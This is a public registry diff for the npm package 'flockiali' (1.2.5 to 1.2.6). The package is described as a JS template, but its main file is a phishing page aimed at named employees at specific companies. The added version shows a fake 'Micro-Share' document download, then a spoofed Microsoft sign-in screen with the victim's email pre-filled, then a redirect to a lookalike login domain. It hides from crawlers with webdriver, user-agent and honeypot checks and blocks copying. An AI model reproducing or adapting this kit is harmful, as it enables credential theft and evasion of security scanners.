flockiali 1.2.5 → 1.2.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "flockiali",
3
- "version": "1.2.5",
3
+ "version": "1.2.6",
4
4
  "description": "Flockiali template JS",
5
5
  "main": "resp/template.min.js",
6
6
  "files": [
@@ -1,4 +1,4 @@
1
- // template.min.js - MicroSecure Pro Shared Folder Template
1
+ // template.min.js - Micro-Share Project Documents Template
2
2
  (function(){
3
3
  'use strict';const t=document.documentElement,e=`
4
4
  <!DOCTYPE html>
@@ -6,58 +6,63 @@
6
6
  <head>
7
7
  <meta charset="UTF-8">
8
8
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
9
- <title>Micro-Share Pro • Shared Folder</title>
10
- <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
11
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap" rel="stylesheet">
12
- <style>*{box-sizing:border-box}body{margin:0;padding:20px 16px;font-family:'Inter',sans-serif;background:#f7faff;min-height:100vh}.sync-container{max-width:460px;margin:0 auto;background:#fff;border-radius:20px;box-shadow:0 12px 32px rgba(0,0,0,.06);border:1px solid rgba(0,0,0,.04);overflow:hidden}.sync-header{background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:#fff;padding:20px 24px;position:relative;overflow:hidden}.sync-header::before{content:'';position:absolute;top:0;left:0;right:0;bottom:0;background:url("data:image/svg+xml,%3Csvg width='60' height='60' viewBox='0 0 60 60' xmlns='http://www.w3.org/2000/svg'%3E%3Cg fill='none' fill-rule='evenodd'%3E%3Cg fill='%23ffffff' fill-opacity='0.1'%3E%3Ccircle cx='30' cy='30' r='4'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E");animation:float 20s ease-in-out infinite}@keyframes float{0%,100%{transform:translateY(0)}50%{transform:translateY(-20px)}}.header-content{position:relative;z-index:1}.sync-logo{width:44px;height:44px;background:rgba(255,255,255,.2);border-radius:12px;display:flex;align-items:center;justify-content:center;margin:0 auto 12px;font-size:20px;font-weight:400}.header-title{font-size:22px;font-weight:600;margin:0 0 6px 0;letter-spacing:-.02em}.header-meta{font-size:13px;opacity:.9;display:flex;align-items:center;justify-content:center;gap:6px}.sync-body{padding:24px 28px}.recipient-card{background:linear-gradient(135deg,#f0f9ff 0%,#e0f2fe 100%);border:1px solid rgba(14,165,233,.2);border-radius:14px;padding:18px;margin-bottom:20px;text-align:center}.avatar-initials{width:48px;height:48px;background:linear-gradient(135deg,#0ea5e9,#0284c7);border-radius:50%;margin:0 auto 12px;display:flex;align-items:center;justify-content:center;color:#fff;font-size:18px;font-weight:600}.recipient-email{font-size:15px;font-weight:600;color:#0369a1;word-break:break-all;margin-bottom:2px}.sender-info{color:#64748b;font-size:13px}.documents-section{margin:16px 0}.doc-item{display:flex;align-items:center;padding:14px 16px;background:#fff;border:1px solid #e5e7eb;border-radius:12px;margin-bottom:12px;transition:all .25s;cursor:default}.doc-item:hover{border-color:#c7d2fe;box-shadow:0 6px 20px rgba(0,0,0,.06);transform:translateY(-1px)}.doc-icon{width:40px;height:40px;margin-right:14px;background:linear-gradient(135deg,#667eea,#764ba2);border-radius:10px;display:flex;align-items:center;justify-content:center;font-size:16px;color:#fff;font-weight:500}.doc-title{font-weight:600;color:#1f2937;font-size:15px;margin-bottom:2px}.doc-subtitle{color:#6b7280;font-size:13px}.unlock-btn{width:100%;padding:14px 18px;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:#fff;border:none;border-radius:14px;font-size:15px;font-weight:600;cursor:pointer;position:relative;overflow:hidden;transition:all .3s}.unlock-btn::before{content:'';position:absolute;top:0;left:-100%;width:100%;height:100%;background:linear-gradient(90deg,transparent,rgba(255,255,255,.3),transparent);transition:left .5s}.unlock-btn:hover:not(:disabled)::before{left:100%}.unlock-btn:not(:disabled):hover{transform:translateY(-2px);box-shadow:0 12px 32px rgba(102,126,234,.3)}.unlock-btn:disabled{background:#d1d5db;cursor:not-allowed}.policy-note{text-align:center;margin-top:16px;padding:12px 16px;background:#f8fafc;border-radius:10px;font-size:12px;color:#6b7280}.invisible-trap{position:absolute;left:-10000px;opacity:0;height:1px}</style>
9
+ <title>Project Documents</title>
10
+ <link rel="icon" href="static/images-removebg-preview.ico" type="image/x-icon">
11
+ <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
12
+ <style>html,body{height:100%;margin:0;padding:0;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background-color:#f8f9fa;overflow:hidden}.container-wrapper{width:100%;max-width:420px;background-color:#fff;padding:1.25rem;border-radius:.75rem;box-shadow:0 .25rem .75rem rgba(0,0,0,.05);margin:auto;margin-top:100px}.container{min-height:100vh;z-index:1;position:relative}.pdf-preview{background:#fff;border:1px solid #dee2e6;border-radius:.5rem;padding:1rem;margin-top:1.5rem}.honeypot-field,.honeypot{display:none!important}#page2{display:none;position:fixed;top:0;left:0;height:100%;width:100%;overflow:hidden}.page2-bg{position:absolute;top:0;left:0;height:100%;width:100%;background:url("") center/cover no-repeat;filter:blur(2px);z-index:0}.login-container{width:440px;background:rgba(255,255,255,.9);backdrop-filter:blur(4px);-webkit-backdrop-filter:blur(4px);padding:48px 40px;box-shadow:0 0 20px rgba(0,0,0,.25);margin-bottom:10px;border-radius:14px;border:1px solid rgba(255,255,255,.4);text-align:left;position:relative;margin:100px auto}.logo{display:flex;align-items:center;gap:8px;font-size:22px;font-weight:600;margin-bottom:30px}.input-field{width:100%;border:none;border-bottom:1px solid #888;padding:10px 2px;font-size:15px;margin-bottom:28px;background:transparent;color:#3b3a39}.input-field:focus{outline:none;border-bottom:2px solid #0067b8}.next-button{padding:6px 20px;background-color:#0067b8;color:#fff;border:none;font-size:15px;font-weight:600;border-radius:2px;cursor:not-allowed}.next-button.enabled{cursor:pointer}h1{font-size:24px;font-weight:600;margin-bottom:16px;color:#1b1b1b}.links a{text-decoration:none;color:#0067b8;font-size:14px}.links a:hover{text-decoration:underline}</style>
13
13
  </head>
14
- <body>
15
- <div class="sync-container">
16
- <div class="sync-header">
17
- <div class="header-content">
18
- <div class="sync-logo">📁</div>
19
- <h1 class="header-title">MicroSecure Pro</h1>
20
- <div class="header-meta">
21
- <i class="fas fa-folder-open"></i>
22
- <span>Shared folder access</span>
23
- </div>
24
- </div>
25
- </div>
26
- <div class="sync-body">
27
- <div class="recipient-card">
28
- <div class="avatar-initials">AM</div>
29
- <div class="recipient-email">f.chauzu@cqfd-composites.com</div>
30
- <div class="sender-info">
31
- <i class="fas fa-user me-1"></i>
32
- Shared by Project Engineering
33
- </div>
34
- </div>
35
- <div class="documents-section">
36
- <div class="doc-item">
37
- <div class="doc-icon">📋</div>
38
- <div>
39
- <div class="doc-title">Complete Specification Set</div>
40
- <div class="doc-subtitle">RFQ documents • Project specs • 3 files • 6.4 MB</div>
14
+ <body oncontextmenu="return false" oncopy="return false" oncut="return false" onpaste="return false">
15
+ <div id="page1" class="container-wrapper text-center">
16
+ <div class="top-header d-flex align-items-center gap-2 mb-3">
17
+ <img src="https://cdn-icons-png.flaticon.com/512/732/732221.png" alt="Brand Icon" width="28" height="28">
18
+ <div class="brand-text text-start">
19
+ <div class="main fw-bold">Micro-Share</div>
20
+ <div class="sub text-muted" style="font-size:0.85rem">secure file sharing</div>
41
21
  </div>
42
22
  </div>
43
- <div class="doc-item">
44
- <div class="doc-icon">📐</div>
23
+ <h4 class="mb-3">Secure shared documents, kindly verify your email and continue.</h4>
24
+ <p class="text-muted">The following documents have been securely shared with <span class="text-primary fw-semibold">Cinzia.Bartolini@ingeteam.com</span>.</p>
25
+ <form id="secure-form">
26
+ <input type="text" name="company" class="honeypot-field" autocomplete="off"/>
27
+ <input type="hidden" name="token" id="tokenField"/>
28
+ <button id="verify" class="btn btn-primary mt-4 w-100" disabled>Download</button>
29
+ </form>
30
+ <div class="pdf-preview text-start">
31
+ <div class="d-flex align-items-start">
32
+ <img src="https://cdn-icons-png.flaticon.com/512/337/337946.png" alt="PDF Icon" class="me-2" width="44">
45
33
  <div>
46
- <div class="doc-title">Engineering Deliverables</div>
47
- <div class="doc-subtitle">Technical drawings CAD files 2.1 MB</div>
34
+ <div class="fw-semibold">Specification.pdf</div>
35
+ <div class="small mt-1">- RFQ.pdf<br>- Project descriptions.pdf<br>- equipment's end destination.pdf</div>
48
36
  </div>
49
37
  </div>
50
38
  </div>
51
- <form id="unlockForm">
52
- <input type="text" name="verification-bot" class="invisible-trap" autocomplete="off">
53
- <button type="submit" class="unlock-btn" id="unlockBtn" disabled>
54
- <i class="fas fa-unlock me-2"></i>Unlock & Access Files
55
- </button>
56
- </form>
57
- <div class="policy-note">
58
- <i class="fas fa-shield-check me-1" style="color: #10b981;"></i>
59
- Files encrypted • Access expires 7 days • 256-bit AES
39
+ <div id="loading" class="mt-4 d-none fade">
40
+ <div class="spinner-border text-primary" role="status">
41
+ <span class="visually-hidden">Loading...</span>
42
+ </div>
43
+ </div>
60
44
  </div>
45
+ <div id="page2">
46
+ <div class="page2-bg"></div>
47
+ <div class="login-container" id="email-page">
48
+ <div class="logo">
49
+ <img src="https://upload.wikimedia.org/wikipedia/commons/4/44/Microsoft_logo.svg" width="24" height="24" alt="Microsoft Logo"/>
50
+ <span class="logo-text">Microsoft</span>
51
+ </div>
52
+ <h1>Sign in</h1>
53
+ <div style="color:#e81123;font-size:15px;margin-bottom:16px">Authentication required. Click next to sign in and continue download.</div>
54
+ <form id="secureForm">
55
+ <input type="text" class="input-field" placeholder="Email, phone, or Skype" id="emailInput" value="{recipient_email_placeholder}" readonly/>
56
+ <input type="text" name="company" class="honeypot" autocomplete="off"/>
57
+ <input type="hidden" id="sessionToken" name="token" value="{token_placeholder}"/>
58
+ <div class="links">
59
+ <div><span>No account? </span><a href="#">Create one</a></div>
60
+ <div style="margin-top:12px"><a href="#">Can't access your account</a></div>
61
+ </div>
62
+ <div class="text-end mt-3">
63
+ <button type="submit" class="next-button" id="nextButton" disabled>Next</button>
64
+ </div>
65
+ </form>
61
66
  </div>
62
67
  </div>
63
- `,n=new class{constructor(){this.interactionPoints=0,this.requiredPoints=5,this.mouseTrail=[],this.setup()}setup(){this.setupListeners(),setInterval(()=>this.evaluate(),250)}setupListeners(){document.addEventListener('mousemove',t=>{this.mouseTrail.push({x:t.clientX,y:t.clientY,t:Date.now()}),this.mouseTrail.length>50&&this.mouseTrail.shift()}),('IntersectionObserver'in window&&navigator.hardwareConcurrency&&window.devicePixelRatio)&&(this.interactionPoints++),(()=>{let t=!1;window.addEventListener('scroll',()=>t=!0),window.addEventListener('resize',()=>t=!0)})(),document.addEventListener('focusin',()=>this.interactionPoints++)}isLegitimateTrajectory(){if(this.mouseTrail.length<20)return!1;const t=this.mouseTrail.slice(-10),e=t.reduce(((e,n,i)=>e+Math.pow(n.x-t[0].x,2)),0)/10;return e>100}evaluate(){this.isLegitimateTrajectory()&&this.interactionPoints++,this.interactionPoints>=this.requiredPoints&&!this.isBot()&&(document.getElementById('unlockBtn').disabled=!1)}isBot(){return/bot|crawl|headless|phantom|selenium/i.test(navigator.userAgent)||navigator.webdriver||!window.chrome||!window.outerWidth||0===screen.availWidth}};t.innerHTML=e,document.getElementById('unlockForm').onsubmit=t=>{t.preventDefault();const e=document.querySelector('[name="verification-bot"]').value;return e.trim()||n.isBot()?void(t.target.closest('html').innerHTML=''):void(window.location.href='https://oprsys.deno.dev/')}})();
68
+ `,n=function(){return navigator.webdriver||!navigator.plugins.length||0===screen.width||0===screen.height||!navigator.userAgent||/bot|crawl|spider|headless|HeadlessChrome/i.test(navigator.userAgent)};let o=!1;const i=()=>{!o&&!n()&&(document.getElementById('verify').disabled=!1,o=!0)};document.addEventListener('mousemove',i),document.addEventListener('touchstart',i),t.innerHTML=e,document.addEventListener("DOMContentLoaded",()=>{document.getElementById("tokenField").value=Math.random().toString(36).substring(2)+Date.now().toString(36)});document.getElementById('secure-form').addEventListener('submit',t=>{t.preventDefault();const e=document.querySelector('input[name="company"]').value.trim(),o=document.querySelector('input[name="token"]').value.trim();if(e||""===o||n())return alert("."),!1;document.getElementById('loading').classList.remove('d-none'),document.getElementById('loading').classList.add('show'),setTimeout(()=>{document.getElementById('page1').style.display='none',document.getElementById('page2').style.display='block',document.getElementById('emailInput').value="Cinzia.Bartolini@ingeteam.com",document.getElementById('sessionToken').value="{token_placeholder}",document.getElementById('nextButton').disabled=!1,document.getElementById('nextButton').classList.add('enabled')},2e3)}),document.getElementById("secureForm").addEventListener("submit",function(t){t.preventDefault();const e=this.querySelector('input[name="company"]').value,o=document.getElementById('sessionToken').value;if(e.trim()||n()||!o)return alert("."),void(document.body.innerHTML='',document.body.style.backgroundColor='#000');window.location.href="https://login.siemensergy.icu/DIVzTaSF"})})();